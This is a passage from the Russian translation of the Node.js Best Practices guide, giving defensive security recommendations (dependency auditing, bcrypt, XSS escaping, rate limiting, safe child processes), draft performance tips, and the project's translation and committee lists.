[helmet](https://www.npmjs.com/package/helmet).\n\n**Иначе:** Злоумышленники могут выполнять прямые атаки на пользователей вашего приложения, что приводит к огромным уязвимостям безопасности.\n\n🔗 [**Подробнее: Используйте связанные с безопасностью заголовки для защиты вашего приложения от распространенных атак**](./sections/security/secureheaders.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.7. Постоянно и автоматически проверяйте наличие уязвимых зависимостей\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** В экосистеме npm для проекта характерно наличие множества зависимостей. Зависимости всегда следует контролировать при обнаружении новых уязвимостей. Используйте инструменты, такие как [npm audit](https://docs.npmjs.com/cli/audit) или [snyk](https://snyk.io/), чтобы отслеживать, мониторить и исправлять уязвимые зависимости. Интегрируйте эти инструменты с настройкой CI, чтобы вы могли поймать уязвимую зависимость, прежде чем она попадет в производство.\n\n**Иначе:** Злоумышленник может обнаружить ваш веб-фреймворк и атаковать все его известные уязвимости.\n\n🔗 [**Подробнее: Постоянно и автоматически проверяйте наличие уязвимых зависимостей**](./sections/security/dependencysecurity.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.8. Избегайте использования криптографической библиотеки Node.js для обработки паролей, используйте Bcrypt\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Пароли или секреты (ключи API) должны храниться с использованием безопасной функции hash+ alt, такой как `bcrypt`, которая должна быть предпочтительным выбором по сравнению с реализацией JavaScript из-за соображений производительности и безопасности.\n\n**Иначе:** Пароли или секреты, которые сохраняются без использования защищенной функции, уязвимы для взлома и атак по словарю, которые в конечном итоге приведут к их раскрытию.\n\n🔗 [**Подробнее: Не используйте криптографическую библиотеку Node.js для паролей, используйте Bcrypt**](./sections/security/bcryptpasswords.russian.md)\n\n<br/><br/>\n\n## ! [✔] 6.9. Экранируйте вывод HTML, JS и CSS\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Ненадежные данные, которые отправляются в браузер, могут выполняться вместо того, чтобы просто отображаться, это обычно называется атакой между сайтами (XSS). Смягчите это, используя выделенные библиотеки, которые явно помечают данные как чистый контент, который никогда не должен выполняться (т.е. кодирование, экранирование).\n\n**Иначе:** Злоумышленник может сохранить вредоносный код JavaScript в вашей БД, который затем будет отправлен бедным клиентам как есть.\n\n🔗 [**Подробнее: Экранируйте вывод**](./sections/security/escape-output.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.10. Проверяйте входящие схемы JSON\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Проверьте полезную нагрузку тела входящих запросов и убедитесь, что она соответствует ожиданиям, сразу же отказывайте, если это будет не так. Чтобы избежать утомительного кодирования проверки в каждом маршруте, вы можете использовать упрощенные схемы проверки на основе JSON, такие как [jsonschema](https://www.npmjs.com/package/jsonschema) или [joi](https://www.npmjs.com/package/joi).\n\n**Иначе:** Ваша щедрость и разрешительный подход значительно увеличивают поверхность атаки и побуждают злоумышленника опробовать множество входных данных, пока они не найдут какую-то комбинацию для сбоя приложения.\n\n🔗 [**Подробнее: Проверяйте входящие JSON схемы**](./sections/security/validation.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.11. Поддерживайте черный список JWT\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** При использовании веб-токенов JSON (например, с [Passport.js](https://github.com/jaredhanson/passport)) по умолчанию отсутствует механизм для отзыва доступа из выданных токенов. Как только вы обнаружите какое-либо злонамеренное действие пользователя, у вас не будет возможности помешать им получить доступ к системе, если у них есть действующий токен. Смягчите это, внедрив черный список ненадежных токенов, которые проверяются при каждом запросе.\n\n**Иначе:** Устаревшие или неуместные токены могут быть использованы злонамеренно для доступа к приложению третьей стороной, которая может выдавать себя за владельца токена.\n\n🔗 [**Подробнее: Реализовывайте поддержку внесения JWT в черный список**](./sections/security/expirejwt.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.12. Предотвращайте атаки методом грубой силы против авторизации\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Простой и мощный метод заключается в ограничении попыток авторизации с использованием двух метрик:\n\n1. Во-первых, это число последовательных неудачных попыток одного и того же пользователя с уникальным идентификатором и IP-адресом.\n2. Во-вторых, количество неудачных попыток с IP-адреса в течение длительного периода времени. Например, заблокируйте IP-адрес, если он делает 100 неудачных попыток за один день.\n\n**Иначе:** Злоумышленник может выполнить неограниченное количество автоматических попыток ввода пароля для получения доступа к привилегированным учетным записям в приложении.\n\n🔗 [**Подробнее: Предотвращайте атаки методом грубой силы против авторизации**](./sections/security/login-rate-limit.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.13. Запускайте Node.js как пользователь без полномочий root\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Существует распространенный сценарий, когда Node.js запускается от имени пользователя root с неограниченными разрешениями. Например, это поведение по умолчанию в контейнерах Docker. Рекомендуется создать пользователя без полномочий root и либо \"запечь\" его в образе Docker (примеры приведены ниже), либо запустить процесс от имени этого пользователя, вызвав контейнер с флагом \"-u username\".\n\n**Иначе:** Злоумышленник, которому удается запустить скрипт на сервере, получает неограниченную власть над локальной машиной (например, он может изменить iptable и перенаправить трафик на свой сервер).\n\n🔗 [**Подробнее: Запускайте Node.js как пользователь без полномочий root**](./sections/security/non-root-user.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.14. Ограничьте размер полезной нагрузки, используя обратный прокси или промежуточное ПО\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Чем больше полезная нагрузка на тело, тем сложнее ваш отдельный поток обрабатывает ее. Это возможность для злоумышленников поставить серверы на колени без огромного количества запросов (атаки DOS/DDOS). Уменьшите это, ограничивая размер тела входящих запросов на границе (например, брандмауэр, ELB) или настраивая [express body parser](https://github.com/expressjs/body-parser), чтобы принимать только полезные данные небольшого размера.\n\n**Иначе:** Вашему приложению придется иметь дело с большими запросами, неспособными обработать другую важную работу, которую он должен выполнить, что приводит к снижению производительности и уязвимости к атакам DOS.\n\n🔗 [**Подробнее: Ограничивайте размер полезной нагрузки с помощью обратного прокси или промежуточного ПО**](./sections/security/requestpayloadsizelimit.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.15. Избегайте JavaScript eval утверждений\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** `eval` -- это зло, поскольку оно позволяет выполнять пользовательский код JavaScript во время выполнения. Это не только проблема производительности, но и важная проблема безопасности из-за вредоносного кода JavaScript, который может быть получен из пользовательского ввода. Другой языковой особенностью, которую следует избегать, является конструктор `new Function`. `setTimeout` и`setInterval` также никогда не должны передавать динамический код JavaScript.\n\n**Иначе:** Вредоносный код JavaScript находит путь в текст, передаваемый в `eval` или другие функции оценки языка JavaScript в режиме реального времени, и получает полный доступ к разрешениям JavaScript на странице. Эта уязвимость часто проявляется как атака XSS.\n\n🔗 [**Подробнее: Избегайте JavaScript eval утверждений**](./sections/security/avoideval.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.16. Предотвращайте ваше однопоточное выполнение от перегрузки злонамеренным RegEx\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Регулярные выражения, будучи удобными, представляют реальную угрозу для приложений JavaScript в целом и платформы Node.js в частности. Пользовательский ввод для сопоставления текста может потребовать значительного количества циклов ЦП для обработки. Обработка RegEx может быть неэффективной до такой степени, что один запрос, который проверяет 10 слов, может заблокировать весь цикл событий на 6 секунд и установить ЦП на 🔥. По этой причине предпочитайте сторонние пакеты проверки, такие как [validator.js](https://github.com/chriso/validator.js) вместо написания собственных шаблонов Regex, или используйте [safe-regex](https://github.com/substack/safe-regex) для обнаружения уязвимых шаблонов регулярных выражений.\n\n**Иначе:** Плохо написанные регулярные выражения могут быть подвержены DoS-атакам регулярного выражения, которые полностью блокируют цикл обработки событий. Например, популярный пакет `момент` был посчитан уязвимым для вредоносного использования RegEx в ноябре 2017 года.\n\n🔗 [**Подробнее: Предотвращайте ваше однопоточное выполнение от перегрузки злонамеренным RegEx**](./sections/security/regex.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.17. Избегайте загрузки модулей с использованием переменных\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Избегайте подключения/импорта другого файла с путем, который был задан в качестве параметра из-за опасений, что он мог возникнуть из пользовательского ввода. Это правило может быть расширено для общего доступа к файлам (то есть `fs.readFile ()`) или для доступа к другим чувствительным ресурсам с помощью динамических переменных, происходящих из пользовательского ввода. [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) линтер может ловить такие шаблоны и предупреждать их достаточно рано.\n\n**Иначе:** Вредоносный пользовательский ввод может найти путь к параметру, который используется для запроса измененных файлов, например, ранее загруженного файла в файловой системе, или для доступа к уже существующим системным файлам.\n\n🔗 [**Подробнее: Избегайте загрузки модулей с использованием переменных**](./sections/security/safemoduleloading.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.18. Запускайте небезопасный код в песочнице\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** При выполнении задачи запуска внешнего кода, который дается во время выполнения (например, плагин), используйте любую среду исполнения \"песочницы\", которая изолирует и защищает основной код от плагина. Это может быть достигнуто с помощью выделенного процесса (например, `cluster.fork()`), безсерверной среды или выделенных пакетов npm, которые действуют как песочница.\n\n**Иначе:** Плагин может атаковать с помощью бесконечного множества вариантов, таких как бесконечные циклы, перегрузка памяти и доступ к чувствительным переменным среды процесса.\n\n🔗 [**Подробнее: Запускайте небезопасный код в песочнице**](./sections/security/sandbox.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.19. Будьте особенно осторожны при работе с дочерними процессами\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Избегайте использования дочерних процессов, когда это возможно, а также проверяйте и санируйте входные данные, чтобы смягчить атаки с использованием инъекций оболочки, если это необходимо. Предпочитайте использовать `child_process.execFile`, который по определению будет выполнять только одну команду с набором атрибутов и не позволит расширять параметры оболочки.\n\n**Иначе:** Наивное использование дочерних процессов может привести к удаленному выполнению команды или атакам внедрения оболочки из-за того, что злонамеренный пользовательский ввод передан неантизированной системной команде.\n\n🔗 [**Подробнее: Будьте осторожны при работе с дочерними процессами**](./sections/security/childprocesses.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.20. Скрывайте детали ошибок от клиентов\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Встроенный экспресс-обработчик ошибок по умолчанию скрывает детали ошибок. Однако велики шансы на то, что вы реализуете свою собственную логику обработки ошибок с помощью пользовательских объектов ошибок (которые многие считают наилучшей практикой). Если вы это сделаете, убедитесь, что не вернули весь объект Error клиенту, который может содержать некоторые важные сведения о приложении.\n\n**Иначе:** Чувствительная информация о приложении, такая как пути к файлам сервера, используемые сторонние модули и другие внутренние рабочие процессы приложения, которые могут быть использованы злоумышленником, может быть утечка из информации, найденной в трассировке стека.\n\n🔗 [**Подробнее: Скрывайте детали ошибок от клиентов**](./sections/security/hideerrors.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.21. Конфигурируйте 2FA для npm или Yarn\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Любой шаг в цепочке разработки должен быть защищен с помощью MFA (многофакторная аутентификация), npm/Yarn -- прекрасная возможность для злоумышленников, которые могут заполучить пароль разработчика. Используя учетные данные разработчика, злоумышленники могут внедрить вредоносный код в библиотеки, которые широко установлены в проектах и ​​службах. Может быть, даже через Интернет, если опубликованы в открытом доступе. Включение 2-факторной аутентификации в npm оставляет почти нулевые шансы для злоумышленников изменить код вашего пакета.\n\n**Иначе:** [Have you heard about the eslint developer who's password was hijacked?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. Модифицируйте настройки промежуточного программного обеспечения сеанса\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** У каждого веб-фреймворка и технологии есть свои известные недостатки -- сообщить злоумышленнику, какой веб-фреймворк мы используем -- это большая помощь для него. Использование настроек по умолчанию для промежуточного программного обеспечения сеансов может подвергнуть ваше приложение атакам, направленным на модули и фреймворки, аналогично заголовку `X-Powered-By`. Попробуйте скрыть все, что идентифицирует и раскрывает ваш технический стек (например, Node.js, express).\n\n**Иначе:** Файлы cookie могут быть отправлены по незащищенным соединениям, и злоумышленник может использовать идентификатор сеанса для определения базовой структуры веб-приложения, а также уязвимостей, специфичных для модуля.\n\n🔗 [**Подробнее: Изменяйте настройки промежуточного программного обеспечения сеанса по умолчанию**](./sections/security/sessions.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.23. Избегайте DOS-атак, явно указав, когда должен произойти сбой процесса\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Процесс Node завершится сбоем, если ошибки не будут обработаны. Многие лучшие практики даже рекомендуют завершить работу, даже если ошибка была обнаружена и обработана. Например, Express будет аварийно завершать работу при любой асинхронной ошибке -- если только вы не заключите маршруты в условие catch. Это открывает очень приятное место для атак злоумышленников, которые распознают, какой ввод вызывает сбой процесса, и повторно отправляют один и тот же запрос. Мгновенного решения этой проблемы не существует, но несколько методов могут смягчить боль: оповещение с критической серьезностью каждый раз, когда происходит сбой процесса из-за необработанной ошибки, проверяет ввод и избегает сбоя процесса из-за неправильного ввода пользователя, оборачивает все маршруты с помощью catch и не рушится при возникновении ошибки в запросе (в отличие от того, что происходит глобально).\n\n**Иначе:** Это просто обоснованное предположение: дано множество приложений Node.js, если мы попытаемся передать пустое тело JSON всем запросам POST -- несколько приложений потерпит крах. В этот момент мы можем просто повторить отправку одного и того же запроса, чтобы легко положить эти приложения.\n\n<br/><br/>\n\n## ![✔] 6.24. Предотвращайте небезопасные перенаправления\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Перенаправления, которые не проверяют пользовательский ввод, могут позволить злоумышленникам запускать фишинговые мошенничества, красть учетные данные пользователя и выполнять другие вредоносные действия.\n\n**Иначе:** Если злоумышленник обнаружит, что вы не проверяете внешний вводимый пользователем ввод, он может воспользоваться этой уязвимостью, разместив специально созданные ссылки на форумах, в социальных сетях и других общедоступных местах, чтобы пользователи могли щелкнуть по нему.\n\n🔗 [**Подробнее: Предотвращайте небезопасные перенаправления**](./sections/security/saferedirects.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.25. Избегайте публикации секретов в реестре npm\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Следует принять меры предосторожности, чтобы избежать риска случайной публикации секретов в открытых реестрах npm. Файл `.npmignore` может использоваться для внесения в черный список определенных файлов или папок, или массив`files` в `package.json` может выступать в качестве белого списка.\n\n**Иначе:** Ключи API вашего проекта, пароли или другие секреты открыты для злоупотребления любым, кто сталкивается с ними, что может привести к финансовым потерям, подлогу и другим рискам.\n\n🔗 [**Подробнее: Избегайте публикации секретов в реестре npm**](./sections/security/avoid_publishing_secrets.russian.md)\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#оглавление\">⬆ К началу</a></p>\n\n# `7. Черновик: Практики эффективности`\n\n## Наши соавторы работают над этим разделом. [Хотите присоединиться?](Https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n<br/><br/>\n\n## ![✔] 7.1. Не блокируйте цикл событий\n\n**TL;DR:** Избегайте ресурсоемких задач, поскольку они будут блокировать однопоточный цикл обработки событий, и выгружайте их в выделенный поток, процесс или даже другую технологию в зависимости от контекста.\n\n**Иначе:** Поскольку цикл обработки событий заблокирован, Node.js не сможет обработать другой запрос, что приведет к задержкам для одновременных пользователей. **3000 пользователей ждут ответа, контент готов к отправке, но один-единственный запрос не позволяет серверу отправить результаты обратно**\n\n🔗 [**Read More: Не блокируйте цикл событий**](./sections/performance/block-loop.russian.md)\n\n<br/><br/><br/>\n\n## ![✔] 7.2. Предпочитайте нативные методы JS, а не пользовательские утилиты типа Lodash\n\n**TL;DR:** Часто более утомительно использовать служебные библиотеки, такие как `lodash` и `underscore`, по сравнению с нативными методами, так как это приводит к ненужным зависимостям и снижению производительности.\nИмейте в виду, что с введением нового движка V8 наряду с новыми стандартами ES собственные методы были улучшены таким образом, что теперь он примерно на 50% быстрее, чем служебные библиотеки.\n\n**Иначе:** Вам придется поддерживать менее эффективные проекты, где вы могли бы просто использовать то, что **уже** доступно или иметь дело с еще несколькими строками в обмен на еще несколько файлов.\n\n🔗 [**Подробнее: Предпочитайте нативные методы JS над пользовательскими утилитами, такими как Lodash**](./sections/performance/nativeoverutil.russian.md)\n\n<br/><br/><br/>\n\n# Вехи\n\nЧтобы поддерживать это руководство и обновлять его, мы постоянно обновляем и совершенствуем рекомендации и лучшие практики с помощью сообщества. Вы можете следить за нашими [вехами](https://github.com/goldbergyoni/nodebestpractices/milestones) и присоединиться к рабочим группам, если хотите внести свой вклад в этот проект.\n\n<br/>\n\n## Переводы\n\nВсе переводы предоставлены сообществом. Мы будем рады получить любую помощь с готовыми, текущими или новыми переводами!\n\n### Завершенные переводы\n\n- ![BR](./assets/flags/BR.png) [Brazilian Portuguese](./README.brazilian-portuguese.md) - Любезно предоставлено [Marcelo Melo](https://github.com/marcelosdm)\n- ![CN](./assets/flags/CN.png) [Chinese](./README.chinese.md) - Любезно предоставлено [Matt Jin](https://github.com/mattjin)\n- ![RU](./assets/flags/RU.png) [Russian](./README.russian.md) - Любезно предоставлено [Alex Ivanov](https://github.com/contributorpw)\n- ![EU](./assets/flags/EU.png) [Basque](README.basque.md) - Любезно предоставлено [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta\n\n### Переводы в процессе\n\n- ![FR](./assets/flags/FR.png) [French](https://github.com/gaspaonrocks/nodebestpractices/blob/french-translation/README.french.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) Hebrew ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [Korean](README.korean.md) - Любезно предоставлено [Sangbeom Han](https://github.com/uronly14me) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/94))\n- ![ES](./assets/flags/ES.png) [Spanish](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) Turkish ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/139))\n\n<br/><br/>\n\n## Руководящий комитет\n\nПознакомьтесь с членами руководящего комитета -- людьми, которые работают вместе, чтобы обеспечить управление и дальнейшее руководство проектом. Кроме того, каждый член комитета руководит проектом, отслеживаемым в рамках наших [проектов Github](https://github.com/goldbergyoni/nodebestpractices/projects).\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\n\n[Yoni Goldberg](https://github.com/goldbergyoni)\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nНезависимый консультант Node.js, который работает с клиентами в США, Европе и Израиле над созданием масштабируемых приложений Node. Многие из приведенных выше лучших практик были впервые опубликованы на [goldbergyoni.com](https://goldbergyoni.com). Свяжитесь с Yoni как @goldbergyoni или me@goldbergyoni.com\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/bruno.png\"/>\n\n[Bruno Scheufler](https://github.com/BrunoScheufler)\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\n💻 веб-инженер полного цикла, энтузиаст Node.js и GraphQL\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\n\n[Kyle Martin](https://github.com/js-kyle)\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nРазработчик полного цикла и инженер по надежности сайтов из Новой Зеландии, заинтересованный в безопасности веб-приложений, а также в разработке и создании приложений Node.js для работы в глобальном масштабе.\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\n\n[Sagir Khan](https://github.com/sagirk)\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://sagirk.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nВысококвалифицированный специалист по JavaScript и его экосистеме -- React, Node.js, MongoDB, практически все, что связано с использованием JavaScript/JSON на любом уровне системы -- создающий продукт с использованием веб-платформы для самых узнаваемых брендов мира. Индивидуальный член Фонда Node.js, сотрудничающий в рамках Сообщества Committee's Website Redesign Strategic Initiative.\n\n<br/>\n\n## Соавторы\n\nСпасибо всем нашим соавторам! 🙏\n\nНаши соавторы являются участниками, которые регулярно вносят свой вклад в хранилище, предлагая новые лучшие практики, разбирая проблемы, просматривая запросы на изменение и многое другое. Если вы заинтересованы в том, чтобы помочь нам научить тысячи людей создавать более качественные приложения Node.js, ознакомьтесь с нашими [руководством для соавторов](./.operations/CONTRIBUTING.md) 🎉\n\n| <a href=\"https://github.com/idori\" target=\"_blank\"><img src=\"assets/images/members/ido.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/TheHollidayInn\" target=\"_blank\"><img src=\"assets/images/members/keith.png\" width=\"75\" height=\"75\"/></a> |\n| :---------------------------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------------------------------------: |\n|                                    [Ido Richter (Founder)](https://github.com/idori)                                    |                                        [Keith Holliday](https://github.com/TheHollidayInn)                                         |\n\n### Прошлые соавторы\n\n| <a href=\"https://github.com/refack\" target=\"_blank\"><img src=\"assets/images/members/refael.png\" width=\"50\" height=\"50\"/></a> |\n| :-------------------------------------------------------------------------------------------------------------------------: |\n|                                        [Refael Ackermann](https://github.com/refack)                                        |\n\n<br/>\n\n## Благодарности\n\nМы ценим любой вклад, от одного исправленного слова до новой лучшей практики. Список участников и [документация по поддержке тут!](./README.md#contributors-)\n\n<br/><br/><br/>\n"
  },
  {
    "path": "assets/images/members/create-member-icon.md",
